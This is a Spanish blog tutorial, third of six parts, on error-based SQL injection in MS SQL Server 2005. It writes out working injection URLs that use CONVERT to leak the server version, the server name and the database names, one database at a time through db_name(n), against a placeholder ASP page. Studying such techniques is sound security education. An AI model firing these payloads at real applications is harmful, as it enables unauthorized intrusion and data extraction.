Inyección de código SQL en MS SQL Server 2005 (Parte 3 de 6)
Después de repasar en qué consiste la vulnerabilidad de Inyección de código SQL y ver lo práctica que resulta la función CONVERT para explotarla en MS SQL Server, llega la tercera parte de esta guía donde ya se va a proceder a ver de qué forma se explota y se consigue obtener todo tipo de información acerca del servidor y de las bases de datos existentes.
3.- Explotación de la inyección de código SQL
Para comenzar vamos a obtener la versión del DBMS, obtenido anteriormente mediante la siguiente petición:
http://server/insertar.asp?texto=admin'+and+1=convert(int,@@version)--
Ahora vamos a obtener el nombre del servidor consultando la variable @@servername mediante la siguiente petición:
http://server/insertar.asp?texto=admin'+and+1=convert(int,@@servername)--
Y vemos que el nombre del servidor, en este caso es SERVER:

Lo siguiente será obtener el nombre de las diferentes bases de datos existentes dentro del DBMS, para lo que vamos a utilizar la función db_name(). Esta función puede utilizarse sin parámetros, lo que nos devolverá el nombre de la base de datos a la que está conectada la aplicación, o bien, podemos introducir un valor numérico que varía entre 0 (similar a no introducir parámetros) y n, siendo n el número de bases de datos del DBMS. Para nuestro ejemplo, vamos a obtener las diferentes bases de datos del sistema con las siguientes peticiones:
http://server/insertar.asp?texto=admin'+and+1=convert(int,db_name())--

Las siguientes bases de datos son las creadas en la instalación por defecto de MS SQLSERVER2005, aunque no tienen por qué estar siempre en este orden:
Base de datos master
http://server/insertar.asp?texto=admin'+and+1=convert(int,db_name(1))--

Base de datos tempdb
http://server/insertar.asp?texto=admin'+and+1=convert(int,db_name(2))--
Base de datos model
http://server/insertar.asp?texto=admin'+and+1=convert(int,db_name(3))--
Base de datos msdb
http://server/insertar.asp?texto=admin'+and+1=convert(int,db_name(4))--
Base de datos ReportServer
http://server/insertar.asp?texto=admin'+and+1=convert(int,db_name(5))--
Base de datos ReportServerTempDB
http://server/insertar.asp?texto=admin'+and+1=convert(int,db_name(6))--
Base de datos AdventureWorksDW
http://server/insertar.asp?texto=admin'+and+1=convert(int,db_name(7))--
Base de datos AdventureWorks
http://server/insertar.asp?texto=admin'+and+1=convert(int,db_name(8))--
A partir del número nueve comienzan las bases de datos creadas por el administrador y coincide que la número nueve es a la que originalmente se conecta la aplicación. Base de datos BASE_EJEMPLO
http://server/insertar.asp?texto=admin'+and+1=convert(int,db_name(9))--

Otra base de datos es AMOLOSSS
http://server/insertar.asp?texto=admin'+and+1=convert(int,db_name(12))--
Así sucesivamente hasta comprobar que el DBMS contiene trece bases de datos ya que al consultar la número catorce el sistema nos devuelve un error (error '80020009') indicando que la consulta no obtiene resultado.
http://server/insertar.asp?texto=admin'+and+1=convert(int,db_name(14))--

Como podemos intuir, este proceso es fácilmente automatizable, ya que sólo hay que cambiar el parámetro de la función db_name().
Y hasta aquí esta tercera parte de esta serie de seis artículos sobre cómo explotar y obtener todo tipo de infromación de una aplicación web vulnerable a Inyección de código SQL. En la siguiente serie, veremos có obtener los diferentes usuarios de la base de datos, el usuario que está ejecutando la base de datos y los permisos de que dispone, etc.


Comentarios
Nos alegra que te guste!Muchas gracias por seguirnos y leer nuestros artículos.
Buen artículo, sencillo y fácil Thx
Añadir comentario